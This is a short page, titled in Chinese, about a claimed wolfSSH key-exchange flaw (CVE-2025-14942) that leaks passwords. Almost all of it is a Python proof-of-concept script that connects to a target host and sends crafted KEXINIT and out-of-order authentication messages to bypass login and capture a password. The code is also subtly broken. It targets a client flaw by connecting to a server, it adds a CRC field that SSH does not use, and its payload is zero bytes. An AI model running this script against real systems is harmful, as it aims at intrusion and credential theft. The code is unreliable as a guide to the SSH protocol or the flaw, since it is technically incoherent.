CVE-2025-14942: wolfSSH密钥交换状态机漏洞可导致密码明文泄露

# CVE-2025-14942 PoC - wolfSSH Key Exchange State Machine Manipulation # This PoC demonstrates the state machine manipulation vulnerability in wolfSSH import socket import struct import time def create_ssh_packet(msg_type, payload): """Create SSH packet with length, padding, and CRC""" padding_length = 8 packet_length = 1 + len(payload) + padding_length padding = b'\x00' * padding_length packet = struct.pack('>I', packet_length) packet += bytes([padding_length]) packet += bytes([msg_type]) packet += payload packet += padding # Add fake CRC (simplified) packet += struct.pack('>I', 0) return packet def send_ssh_message(sock, msg_type, payload): """Send crafted SSH message""" packet = create_ssh_packet(msg_type, payload) sock.send(packet) def exploit_wolfssh(target_host, target_port=22): """ Exploit CVE-2025-14942 by manipulating wolfSSH key exchange state machine """ print(f"[*] Targeting {target_host}:{target_port}") print("[*] Initiating wolfSSH state machine manipulation attack...") try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) # Step 1: Send SSH version string ssh_version = b"SSH-2.0-wolfSSH_1.4.21\r\n" sock.send(ssh_version) response = sock.recv(256) print(f"[+] Received server version: {response.decode().strip()}") # Step 2: Send malicious KEXINIT with manipulated algorithms # This forces the client into an inconsistent state kexinit_payload = create_malicious_kexinit() send_ssh_message(sock, 20, kexinit_payload) # SSH_MSG_KEXINIT # Step 3: Send out-of-order message to trigger state confusion # This attempts to bypass authentication send_ssh_message(sock, 50, b'') # SSH_MSG_USERAUTH_REQUEST # Step 4: Attempt to capture password in clear # Inject fake USERAUTH_SUCCESS to trick client send_ssh_message(sock, 51, b'') # SSH_MSG_USERAUTH_SUCCESS print("[+] Exploit payload sent") print("[!] If vulnerable, client may have sent password in clear") sock.close() except Exception as e: print(f"[-] Error: {e}") print("[*] Note: This is a simplified demonstration") print("[*] Full exploitation requires protocol-level analysis") def create_malicious_kexinit(): """Create manipulated KEXINIT payload""" # Simplified - real attack requires precise protocol construction return b'\x00' * 200 if __name__ == "__main__": import sys if len(sys.argv) > 1: exploit_wolfssh(sys.argv[1]) else: print("Usage: python cve_2025_14942_poc.py <target_ip>")